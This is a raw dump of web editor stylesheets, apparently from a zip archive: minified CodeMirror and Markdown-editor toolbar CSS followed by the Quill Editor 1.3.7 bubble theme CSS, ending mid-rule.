solid #ccc;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:700}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta,.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-invalidchar,.cm-s-default .cm-error{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:#fff}.CodeMirror-scroll{overflow:scroll!important;margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:0;position:relative}.CodeMirror-sizer{position:relative;border-right:30px solid transparent}.CodeMirror-gutter-filler,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-vscrollbar{position:absolute;z-index:6;display:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-30px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:0 0!important;border:none!important;-webkit-user-select:none;-moz-user-select:none;user-select:none}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:0 0;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;-webkit-font-variant-ligatures:none;font-variant-ligatures:none}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto}.CodeMirror-code{outline:0}.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber,.CodeMirror-scroll,.CodeMirror-sizer{-moz-box-sizing:content-box;box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}.CodeMirror-focused div.CodeMirror-cursors,div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected,.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background:#ffa;background:rgba(255,255,0,.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:''}span.CodeMirror-selectedtext{background:0 0}.CodeMirror{height:auto;min-height:300px;border:1px solid #ddd;border-bottom-left-radius:4px;border-bottom-right-radius:4px;padding:10px;font:inherit;z-index:1}.CodeMirror-scroll{min-height:300px}.CodeMirror-fullscreen{background:#fff;position:fixed!important;top:50px;left:0;right:0;bottom:0;height:auto;z-index:9}.CodeMirror-sided{width:50%!important}.editor-toolbar{position:relative;opacity:.6;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;padding:0 10px;border-top:1px solid #bbb;border-left:1px solid #bbb;border-right:1px solid #bbb;border-top-left-radius:4px;border-top-right-radius:4px}.editor-toolbar:after,.editor-toolbar:before{display:block;content:' ';height:1px}.editor-toolbar:before{margin-bottom:8px}.editor-toolbar:after{margin-top:8px}.editor-toolbar:hover,.editor-wrapper input.title:focus,.editor-wrapper input.title:hover{opacity:.8}.editor-toolbar.fullscreen{width:100%;height:50px;overflow-x:auto;overflow-y:hidden;white-space:nowrap;padding-top:10px;padding-bottom:10px;box-sizing:border-box;background:#fff;border:0;position:fixed;top:0;left:0;opacity:1;z-index:9}.editor-toolbar.fullscreen::before{width:20px;height:50px;background:-moz-linear-gradient(left,rgba(255,255,255,1) 0,rgba(255,255,255,0) 100%);background:-webkit-gradient(linear,left top,right top,color-stop(0,rgba(255,255,255,1)),color-stop(100%,rgba(255,255,255,0)));background:-webkit-linear-gradient(left,rgba(255,255,255,1) 0,rgba(255,255,255,0) 100%);background:-o-linear-gradient(left,rgba(255,255,255,1) 0,rgba(255,255,255,0) 100%);background:-ms-linear-gradient(left,rgba(255,255,255,1) 0,rgba(255,255,255,0) 100%);background:linear-gradient(to right,rgba(255,255,255,1) 0,rgba(255,255,255,0) 100%);position:fixed;top:0;left:0;margin:0;padding:0}.editor-toolbar.fullscreen::after{width:20px;height:50px;background:-moz-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 100%);background:-webkit-gradient(linear,left top,right top,color-stop(0,rgba(255,255,255,0)),color-stop(100%,rgba(255,255,255,1)));background:-webkit-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 100%);background:-o-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 100%);background:-ms-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 100%);background:linear-gradient(to right,rgba(255,255,255,0) 0,rgba(255,255,255,1) 100%);position:fixed;top:0;right:0;margin:0;padding:0}.editor-toolbar a{display:inline-block;text-align:center;text-decoration:none!important;color:#2c3e50!important;width:30px;height:30px;margin:0;border:1px solid transparent;border-radius:3px;cursor:pointer}.editor-toolbar a.active,.editor-toolbar a:hover{background:#fcfcfc;border-color:#95a5a6}.editor-toolbar a:before{line-height:30px}.editor-toolbar i.separator{display:inline-block;width:0;border-left:1px solid #d9d9d9;border-right:1px solid #fff;color:transparent;text-indent:-10px;margin:0 6px}.editor-toolbar a.fa-header-x:after{font-family:Arial,"Helvetica Neue",Helvetica,sans-serif;font-size:65%;vertical-align:text-bottom;position:relative;top:2px}.editor-toolbar a.fa-header-1:after{content:"1"}.editor-toolbar a.fa-header-2:after{content:"2"}.editor-toolbar a.fa-header-3:after{content:"3"}.editor-toolbar a.fa-header-bigger:after{content:"▲"}.editor-toolbar a.fa-header-smaller:after{content:"▼"}.editor-toolbar.disabled-for-preview a:not(.no-disable){pointer-events:none;background:#fff;border-color:transparent;text-shadow:inherit}@media only screen and (max-width:700px){.editor-toolbar a.no-mobile{display:none}}.editor-statusbar{padding:8px 10px;font-size:12px;color:#959694;text-align:right}.editor-statusbar span{display:inline-block;min-width:4em;margin-left:1em}.editor-preview,.editor-preview-side{padding:10px;background:#fafafa;overflow:auto;display:none;box-sizing:border-box}.editor-statusbar .lines:before{content:'lines: '}.editor-statusbar .words:before{content:'words: '}.editor-statusbar .characters:before{content:'characters: '}.editor-preview{position:absolute;width:100%;height:100%;top:0;left:0;z-index:7}.editor-preview-side{position:fixed;bottom:0;width:50%;top:50px;right:0;z-index:9;border:1px solid #ddd}.editor-preview-active,.editor-preview-active-side{display:block}.editor-preview-side>p,.editor-preview>p{margin-top:0}.editor-preview pre,.editor-preview-side pre{background:#eee;margin-bottom:10px}.editor-preview table td,.editor-preview table th,.editor-preview-side table td,.editor-preview-side table th{border:1px solid #ddd;padding:5px}.CodeMirror .CodeMirror-code .cm-tag{color:#63a35c}.CodeMirror .CodeMirror-code .cm-attribute{color:#795da3}.CodeMirror .CodeMirror-code .cm-string{color:#183691}.CodeMirror .CodeMirror-selected{background:#d9d9d9}.CodeMirror .CodeMirror-code .cm-header-1{font-size:200%;line-height:200%}.CodeMirror .CodeMirror-code .cm-header-2{font-size:160%;line-height:160%}.CodeMirror .CodeMirror-code .cm-header-3{font-size:125%;line-height:125%}.CodeMirror .CodeMirror-code .cm-header-4{font-size:110%;line-height:110%}.CodeMirror .CodeMirror-code .cm-comment{background:rgba(0,0,0,.05);border-radius:2px}.CodeMirror .CodeMirror-code .cm-link{color:#7f8c8d}.CodeMirror .CodeMirror-code .cm-url{color:#aab2b3}.CodeMirror .CodeMirror-code .cm-strikethrough{text-decoration:line-through}.CodeMirror .CodeMirror-placeholder{opacity:.5}.CodeMirror .cm-spell-error:not(.cm-url):not(.cm-comment):not(.cm-tag):not(.cm-word){background:rgba(255,0,0,.15)}PKZ6Ǐffcss/plugins/quill.bubble.cssnu[/*! * Quill Editor v1.3.7 * https://quilljs.com/ * Copyright (c) 2014, Jason Chen * Copyright (c) 2013, salesforce.com */ .ql-container { box-sizing: border-box; font-family: Helvetica, Arial, sans-serif; font-size: 13px; height: 100%; margin: 0px; position: relative; } .ql-container.ql-disabled .ql-tooltip { visibility: hidden; } .ql-container.ql-disabled .ql-editor ul[data-checked]>li::before { pointer-events: none; } .ql-clipboard { left: -100000px; height: 1px; overflow-y: hidden; position: absolute; top: 50%; } .ql-clipboard p { margin: 0; padding: 0; } .ql-editor { box-sizing: border-box; line-height: 1.42; height: 100%; outline: none; overflow-y: auto; padding: 12px 15px; tab-size: 4; -moz-tab-size: 4; text-align: left; white-space: pre-wrap; word-wrap: break-word; } .ql-editor>* { cursor: text; } .ql-editor p, .ql-editor ol, .ql-editor ul, .ql-editor pre, .ql-editor blockquote, .ql-editor h1, .ql-editor h2, .ql-editor h3, .ql-editor h4, .ql-editor h5, .ql-editor h6 { margin: 0; padding: 0; counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol, .ql-editor ul { padding-left: 1.5em; } .ql-editor ol>li, .ql-editor ul>li { list-style-type: none; } .ql-editor ul>li::before { content: '\2022'; } .ql-editor ul[data-checked=true], .ql-editor ul[data-checked=false] { pointer-events: none; } .ql-editor ul[data-checked=true]>li *, .ql-editor ul[data-checked=false]>li * { pointer-events: all; } .ql-editor ul[data-checked=true]>li::before, .ql-editor ul[data-checked=false]>li::before { color: #777; cursor: pointer; pointer-events: all; } .ql-editor ul[data-checked=true]>li::before { content: '\2611'; } .ql-editor ul[data-checked=false]>li::before { content: '\2610'; } .ql-editor li::before { display: inline-block; white-space: nowrap; width: 1.2em; } .ql-editor li:not(.ql-direction-rtl)::before { margin-left: -1.5em; margin-right: 0.3em; text-align: right; } .ql-editor li.ql-direction-rtl::before { margin-left: 0.3em; margin-right: -1.5em; } .ql-editor ol li:not(.ql-direction-rtl), .ql-editor ul li:not(.ql-direction-rtl) { padding-left: 1.5em; } .ql-editor ol li.ql-direction-rtl, .ql-editor ul li.ql-direction-rtl { padding-right: 1.5em; } .ql-editor ol li { counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; counter-increment: list-0; } .ql-editor ol li:before { content: counter(list-0, decimal) '. '; } .ql-editor ol li.ql-indent-1 { counter-increment: list-1; } .ql-editor ol li.ql-indent-1:before { content: counter(list-1, lower-alpha) '. '; } .ql-editor ol li.ql-indent-1 { counter-reset: list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-2 { counter-increment: list-2; } .ql-editor ol li.ql-indent-2:before { content: counter(list-2, lower-roman) '. '; } .ql-editor ol li.ql-indent-2 { counter-reset: list-3 list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-3 { counter-increment: list-3; } .ql-editor ol li.ql-indent-3:before { content: counter(list-3, decimal) '. '; } .ql-editor ol li.ql-indent-3 { counter-reset: list-4 list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-4 { counter-increment: list-4; } .ql-editor ol li.ql-indent-4:before { content: counter(list-4, lower-alpha) '. '; } .ql-editor ol li.ql-indent-4 { counter-reset: list-5 list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-5 { counter-increment: list-5; } .ql-editor ol li.ql-indent-5:before { content: counter(list-5, lower-roman) '. '; } .ql-editor ol li.ql-indent-5 { counter-reset: list-6 list-7 list-8 list-9; } .ql-editor ol li.ql-indent-6 { counter-increment: list-6; } .ql-editor ol li.ql-indent-6:before { content: counter(list-6, decimal) '. '; } .ql-editor ol li.ql-indent-6 { counter-reset: list-7 list-8 list-9; } .ql-editor ol li.ql-indent-7 { counter-increment: list-7; } .ql-editor ol li.ql-indent-7:before { content: counter(list-7, lower-alpha) '. '; } .ql-editor ol li.ql-indent-7 { counter-reset: list-8 list-9; } .ql-editor ol li.ql-indent-8 { counter-increment: list-8; } .ql-editor ol li.ql-indent-8:before { content: counter(list-8, lower-roman) '. '; } .ql-editor ol li.ql-indent-8 { counter-reset: list-9; } .ql-editor ol li.ql-indent-9 { counter-increment: list-9; } .ql-editor ol li.ql-indent-9:before { content: counter(list-9, decimal) '. '; } .ql-editor .ql-indent-1:not(.ql-direction-rtl) { padding-left: 3em; } .ql-editor li.ql-indent-1:not(.ql-direction-rtl) { padding-left: 4.5em; } .ql-editor .ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 3em; } .ql-editor li.ql-indent-1.ql-direction-rtl.ql-align-right { padding-right: 4.5em; } .ql-editor .ql-indent-2:not(.ql-direction-rtl) { padding-left: 6em; } .ql-editor li.ql-indent-2:not(.ql-direction-rtl) { padding-left: 7.5em; } .ql-editor .ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 6em; } .ql-editor li.ql-indent-2.ql-direction-rtl.ql-align-right { padding-right: 7.5em; } .ql-editor .ql-indent-3:not(.ql-direction-rtl) { padding-left: 9em; } .ql-editor li.ql-indent-3:not(.ql-direction-rtl) { padding-left: 10.5em; } .ql-editor .ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 9em; } .ql-editor li.ql-indent-3.ql-direction-rtl.ql-align-right { padding-right: 10.5em; } .ql-editor .ql-indent-4:not(.ql-direction-rtl) { padding-left: 12em; } .ql-editor li.ql-indent-4:not(.ql-direction-rtl) { padding-left: 13.5em; } .ql-editor .ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 12em; } .ql-editor li.ql-indent-4.ql-direction-rtl.ql-align-right { padding-right: 13.5em; } .ql-editor .ql-indent-5:not(.ql-direction-rtl) { padding-left: 15em; } .ql-editor li.ql-indent-5:not(.ql-direction-rtl) { padding-left: 16.5em; } .ql-editor .ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 15em; } .ql-editor li.ql-indent-5.ql-direction-rtl.ql-align-right { padding-right: 16.5em; } .ql-editor .ql-indent-6:not(.ql-direction-rtl) { padding-left: 18em; } .ql-editor li.ql-indent-6:not(.ql-direction-rtl) { padding-left: 19.5em; } .ql-editor .ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 18em; } .ql-editor li.ql-indent-6.ql-direction-rtl.ql-align-right { padding-right: 19.5em; } .ql-editor .ql-indent-7:not(.ql-direction-rtl) { padding-left: 21em; } .ql-editor li.ql-indent-7:not(.ql-direction-rtl) { padding-left: 22.5em; } .ql-editor .ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 21em; } .ql-editor li.ql-indent-7.ql-direction-rtl.ql-align-right { padding-right: 22.5em; } .ql-editor .ql-indent-8:not(.ql-direction-rtl) { padding-left: 24em; } .ql-editor li.ql-indent-8:not(.ql-direction-rtl) { padding-left: 25.5em; } .ql-editor .ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 24em; } .ql-editor li.ql-indent-8.ql-direction-rtl.ql-align-right { padding-right: 25.5em; } .ql-editor .ql-indent-9:not(.ql-direction-rtl) { padding-left: 27em; } .ql-editor li.ql-indent-9:not(.ql-direction-rtl) { padding-left: 28.5em; } .ql-editor .ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 27em; } .ql-editor li.ql-indent-9.ql-direction-rtl.ql-align-right { padding-right: 28.5em; } .ql-editor .ql-video { display: block; max-width: 100%; } .ql-editor .ql-video.ql-align-center { margin: 0 auto; } .ql-editor .ql-video.ql-align-right { margin: 0 0 0 auto; } .ql-editor .ql-bg-black { background-color: #000; } .ql-editor .ql-bg-red { background-color: #e60000; } .ql-editor .ql-bg-orange { background-color: #f90; } .ql-editor .ql-bg-yellow { background-color: #ff0; } .ql-editor .ql-bg-green { background-color: #008a00; } .ql-editor .ql-bg-blue { background-color: #06c; } .ql-editor .ql-bg-purple { background-color: #93f; } .ql-editor .ql-color-white { color: #fff; } .ql-editor .ql-color-red { color: #e60000; } .ql-editor .ql-color-orange { color: #f90; } .ql-editor .ql-color-yellow { color: #ff0; } .ql-editor .ql-color-green { color: #008a00; } .ql-editor .ql-color-blue { color: #06c; } .ql-editor .ql-color-purple { color: #93f; } .ql-editor .ql-font-serif { font-family: Georgia, Times New Roman, serif; } .ql-editor .ql-font-monospace { font-family: Monaco, Courier New, monospace; } .ql-editor .ql-size-small { font-size: 0.75em; } .ql-editor .ql-size-large { font-size: 1.5em; } .ql-editor .ql-size-huge { font-size: 2.5em; } .ql-editor .ql-direction-rtl { direction: rtl; text-align: inherit; } .ql-editor .ql-align-center { text-align: center; } .ql-editor .ql-align-justify { text-align: justify; } .ql-editor .ql-align-right { text-align: right; } .ql-editor.ql-blank::before { color: rgba(0, 0, 0, 0.6); content: attr(data-placeholder); font-style: italic; left: 15px; pointer-events: none; position: absolute; right: 15px; } .ql-bubble.ql-toolbar:after, .ql-bubble .ql-toolbar:after { clear: both; content: ''; display: table; } .ql-bubble.ql-toolbar button, .ql-bubble .ql-toolbar button { background: none; border: none; cursor: pointer; display: inline-block; float: left; height: 24px; padding: 3px 5px; width: 28px; } .ql-bubble.ql-toolbar button svg, .ql-bubble .ql-toolbar button svg { float: left; height: 100%; } .ql-bubble.ql-toolbar button:active:hover, .ql-bubble .ql-toolbar button:active:hover { outline: none; } .ql-bubble.ql-toolbar input.ql-image[type=file], .ql-bubble .ql-toolbar input.ql-image[type=file] { display: none; } .ql-bubble.ql-toolbar button:hover, .ql-bubble .ql-toolbar button:hover, .ql-bubble.ql-toolbar button:focus, .ql-bubble .ql-toolbar button:focus, .ql-bubble.ql-toolbar button.ql-active, .ql-bubble .ql-toolbar button.ql-active, .ql-bubble.ql-toolbar .ql-picker-label:hover, .ql-bubble .ql-toolbar .ql-picker-label:hover, .ql-bubble.ql-toolbar .ql-picker-label.ql-active, .ql-bubble .ql-toolbar .ql-picker-label.ql-active, .ql-bubble.ql-toolbar .ql-picker-item:hover, .ql-bubble .ql-toolbar .ql-picker-item:hover, .ql-bubble.ql-toolbar .ql-picker-item.ql-selected, .ql-bubble .ql-toolbar .ql-picker-item.ql-selected { color: #fff; } .ql-bubble.ql-toolbar button:hover .ql-fill, .ql-bubble .ql-toolbar button:hover .ql-fill, .ql-bubble.ql-toolbar button:focus .ql-fill, .ql-bubble .ql-toolbar button:focus .ql-fill, .ql-bubble.ql-toolbar button.ql-active .ql-fill, .ql-bubble .ql-toolbar button.ql-active .ql-fill, .ql-bubble.ql-toolbar .ql-picker-label:hover .ql-fill, .ql-bubble .ql-toolbar .ql-picker-label:hover .ql-fill, .ql-bubble.ql-toolbar .ql-picker-label.ql-active .ql-fill, .ql-bubble .ql-toolbar .ql-picker-label.ql-active .ql-fill, .ql-bubble.ql-toolbar .ql-picker-item:hover .ql-fill, .ql-bubble .ql-toolbar .ql-picker-item:hover .ql-fill, .ql-bubble.ql-toolbar .ql-picker-item.ql-selected .ql-fill, .ql-bubble .ql-toolbar .ql-picker-item.ql-selected .ql-fill, .ql-bubble.ql-toolbar button:hover .ql-stroke.ql-fill, .ql-bubble .ql-toolbar button:hover .ql-stroke.ql-fill, .ql-bubble.ql-toolbar button:focus .ql-stroke.ql-fill, .ql-bubble .ql-toolbar button:focus .ql-stroke.ql-fill, .ql-bubble.ql-toolbar button.ql-active .ql-stroke.ql-fill, .ql-bubble .ql-toolbar button.ql-active .ql-stroke.ql-fill, .ql-bubble.ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill, .ql-bubble .ql-toolbar .ql-picker-label:hover .ql-stroke.ql-fill, .ql-bubble.ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill, .ql-bubble .ql-toolbar .ql-picker-label.ql-active .ql-stroke.ql-fill, .ql-bubble.ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill, .ql-bubble .ql-toolbar .ql-picker-item:hover .ql-stroke.ql-fill, .ql-bubble.ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill, .ql-bubble .ql-toolbar .ql-picker-item.ql-selected .ql-stroke.ql-fill { fill: #fff; } .ql-bubble.ql-toolbar button:hover .ql-stroke, .ql-bubble .ql-toolbar button:hover .ql-stroke, .ql-bubble.ql-toolbar button:focus .ql-stroke, .ql-bubble .ql-toolbar button:focus .ql-stroke, .ql-bubble.ql-toolbar button.ql-active .ql-stroke, .ql-bubble .ql-toolbar button.ql-active .ql-stroke, .ql-bubble.ql-toolbar .ql-picker-label:hover .ql-stroke, .ql-bubble .ql-toolbar .ql-picker-label:hover .ql-stroke, .ql-bubble.ql-toolbar .ql-picker-label.ql-active .ql-stroke, .ql-bubble .ql-toolbar .ql-picker-label.ql-active .ql-stroke, .ql-bubble.ql-toolbar .ql-picker-item:hover .ql-stroke, .ql-bubble .ql-toolbar .ql-picker-item:hover .ql-stroke, .ql-bubble.ql-toolbar .ql-picker-item.ql-selected .ql-stroke, .ql-bubble .ql-toolbar .ql-picker-item.ql-selected .ql-stroke, .ql-bubble.ql-toolbar button:hover .ql-stroke-miter, .ql-bubble .ql-toolbar button:hover .ql-stroke-miter, .ql-bubble.ql-toolbar button:focus .ql-stroke-miter, .ql-bubble .ql-toolbar button:focus .ql-stroke-miter, .ql-bubble.ql-toolbar button.ql-active .ql-stroke-miter, .ql-bubble .ql-toolbar button.ql-active .ql-stroke-miter, .ql-bubble.ql-toolbar .ql-picker-label:hover .ql-stroke-miter, .ql-bubble .ql-toolbar .ql-picker-label:hover .ql-stroke-miter, .ql-bubble.ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter, .ql-bubble .ql-toolbar .ql-picker-label.ql-active .ql-stroke-miter, .ql-bubble.ql-toolbar .ql-picker-item:hover .ql-stroke-miter, .ql-bubble .ql-toolbar .ql-picker-item:hover .ql-stroke-miter, .ql-bubble.ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter, .ql-bubble .ql-toolbar .ql-picker-item.ql-selected .ql-stroke-miter { stroke: #fff; } @media (pointer: coarse) { .ql-bubble.ql-toolbar button:hover:not(.ql-active), .ql-bubble .ql-toolbar button:hover:not(.ql-active) { color: #ccc; } .ql-bubble.ql-toolbar button:hover:not(.ql-active) .ql-fill, .ql-bubble .ql-toolbar button:hover:not(.ql-active) .ql-fill, .ql-bubble.ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill, .ql-bubble .ql-toolbar button:hover:not(.ql-active) .ql-stroke.ql-fill { fill: #ccc; } .ql-bubble.ql-toolbar button:hover:not(.ql-active) .ql-stroke, .ql-bubble .ql-toolbar button:hover:not(.ql-active) .ql-stroke, .ql-bubble.ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter, .ql-bubble .ql-toolbar button:hover:not(.ql-active) .ql-stroke-miter { stroke: #ccc; } } .ql-bubble { box-sizing: border-box; } .ql-bubble * { box-sizing: border-box; } .ql-bubble .ql-hidden { display: none; } .ql-bubble .ql-out-bottom, .ql-bubble .ql-out-top { visibility: hidden; } .ql-bubble .ql-tooltip { position: absolute; transform: translateY(10px); } .ql-bubble .ql-tooltip a { cursor: pointer; text-decoration: none; } .ql-bubble .ql-tooltip.ql-flip { transform: translateY(-10px); } .ql-bubble .ql-formats { display: inline-block; vertical-align: middle; } .ql-bubble .ql-formats:after { clear: both; content: ''; display: table; } .ql-bubble .ql-stroke { fill: none; stroke: #ccc; stroke-linecap: round; stroke-linejoin: round; stroke-width: 2; } .ql-bubble .ql-stroke-miter { fill: none; stroke: #ccc; stroke-miterlimit: 10; stroke-width: 2; } .ql-bubble .ql-fill, .ql-bubble .ql-stroke.ql-fill { fill: #ccc; } .ql-bubble .ql-empty { fill: none; } .ql-bubble .ql-even { fill-rule: evenodd; } .ql-bubble .ql-thin, .ql-bubble .ql-stroke.ql-thin { stroke-width: 1; } .ql-bubble .ql-transparent { opacity: 0.4; } .ql-bubble .ql-direction svg:last-child { display: none; } .ql-bubble .ql-direction.ql-active svg:last-child { display: inline; } .ql-bubble .ql-direction.ql-active svg:first-child { display: none; } .ql-bubble .ql-editor h1 { font-size: 2em; } .ql-bubble .ql-editor h2 { font-size: 1.5em; } .ql-bubble .ql-editor h3 { font-size: 1.17em; } .ql-bubble .ql-editor h4 { font-size: 1em; } .ql-bubble .ql-editor h5 { font-size: 0.83em; } .ql-bubble .ql-editor h6 { font-size: 0.67em; } .ql-bubble .ql-editor a { text-decoration: underline; } .ql-bubble .ql-editor blockquote { border-left: 4px solid #ccc; margin-bottom: 5px; margin-top: 5px; padding-left: 16px; } .ql-bubble .ql-editor code, .ql-bubble .ql-editor pre { background-color: #f0f0f0; border-radius: 3px; } .ql-bubble .ql-editor pre { white-space: pre-wrap; margin-bottom: 5px; margin-top: 5px; padding: 5px 10px; } .ql-bubble .ql-editor code { font-size: 85%; padding: 2px 4px; } .ql-bubble .ql-editor pre.ql-syntax { background-color: #23241f; color: #f8f8f2; overflow: visible; } .ql-bubble .ql-editor img { max-width: 100%; } .ql-bubble .ql-picker { color: #ccc; display: inline-block; float: left; font-size: 14px; font-weight: 500; height: 24px; position: relative; vertical-align: middle; } .ql-bubble .ql-picker-label { cursor: pointer; display: inline-block; height: 100%; padding-left: 8px; padding-right: 2px; position: relative; width: 100%; } .ql-bubble .ql-picker-label::before { display: inline-block; line-height: 22px; } .ql-bubble .ql-picker-options { background-color: #444; display: none; min-width: 100%; padding: 4px 8px; position: absolute; white-space: nowrap; } .ql-bubble .ql-picker-options .ql-picker-item { cursor: pointer; display: block; padding-bottom: 5px; padding-top: 5px; } .ql-bubble .ql-picker.ql-expanded .ql-picker-label { color: #777; z-index: 2; } .ql-bubble .ql-picker.ql-expanded .ql-picker-label .ql-fill { fill: #777; } .ql-bubble .ql-picker.ql-expanded .ql-picker-label .ql-stroke { stroke: #777; } .ql-bubble .ql-picker.ql-expanded .ql-picker-options { display: block; margin-top: -1px; top: 100%; z-index: 1; } .ql-bubble .ql-color-picker, .ql-bubble .ql-icon-picker { width: 28px; } .ql-bubble .ql-color-picker .ql-picker-label, .ql-bubble .ql-icon-picker .ql-picker-label { padding: 2px 4px; } .ql-bubble .ql-color-picker .ql-picker-label svg, .ql-bubble .ql-icon-picker .ql-picker-label svg { right: 4px; } .ql-bubble .ql-icon-picker .ql-picker-options { padding: 4px 0px; } .ql-bubble .ql-icon-picker .ql-picker-item { height: 24px; width: 24px; padding: 2px 4px; } .ql-bubble .ql-color-picker .ql-picker-options { padding: 3px 5px; width: 152px; } .ql-bubble .ql-color-picker .ql-picker-item { border: 1px solid transparent; float: left; height: 16px; margin: 2px; padding: 0px; width: 16px; } .ql-bubble .ql-picker:not(.ql-color-picker):not(.ql-icon-picker) svg { position: absolute; margin-top: -9px; right: 0; top: 50%; width: 18px; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-label]:not([data-label=''])::before, .ql-bubble .ql-picker.ql-font .ql-picker-label[data-label]:not([data-label=''])::before, .ql-bubble .ql-picker.ql-size .ql-picker-label[data-label]:not([data-label=''])::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-label]:not([data-label=''])::before, .ql-bubble .ql-picker.ql-font .ql-picker-item[data-label]:not([data-label=''])::before, .ql-bubble .ql-picker.ql-size .ql-picker-item[data-label]:not([data-label=''])::before { content: attr(data-label); } .ql-bubble .ql-picker.ql-header { width: 98px; } .ql-bubble .ql-picker.ql-header .ql-picker-label::before, .ql-bubble .ql-picker.ql-header .ql-picker-item::before { content: 'Normal'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="1"]::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="1"]::before { content: 'Heading 1'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="2"]::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="2"]::before { content: 'Heading 2'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="3"]::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="3"]::before { content: 'Heading 3'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="4"]::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="4"]::before { content: 'Heading 4'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="5"]::before, .ql-bubble .ql-picker.ql-header .ql-picker-item[data-value="5"]::before { content: 'Heading 5'; } .ql-bubble .ql-picker.ql-header .ql-picker-label[data-value="6"]::before, .ql-bubble 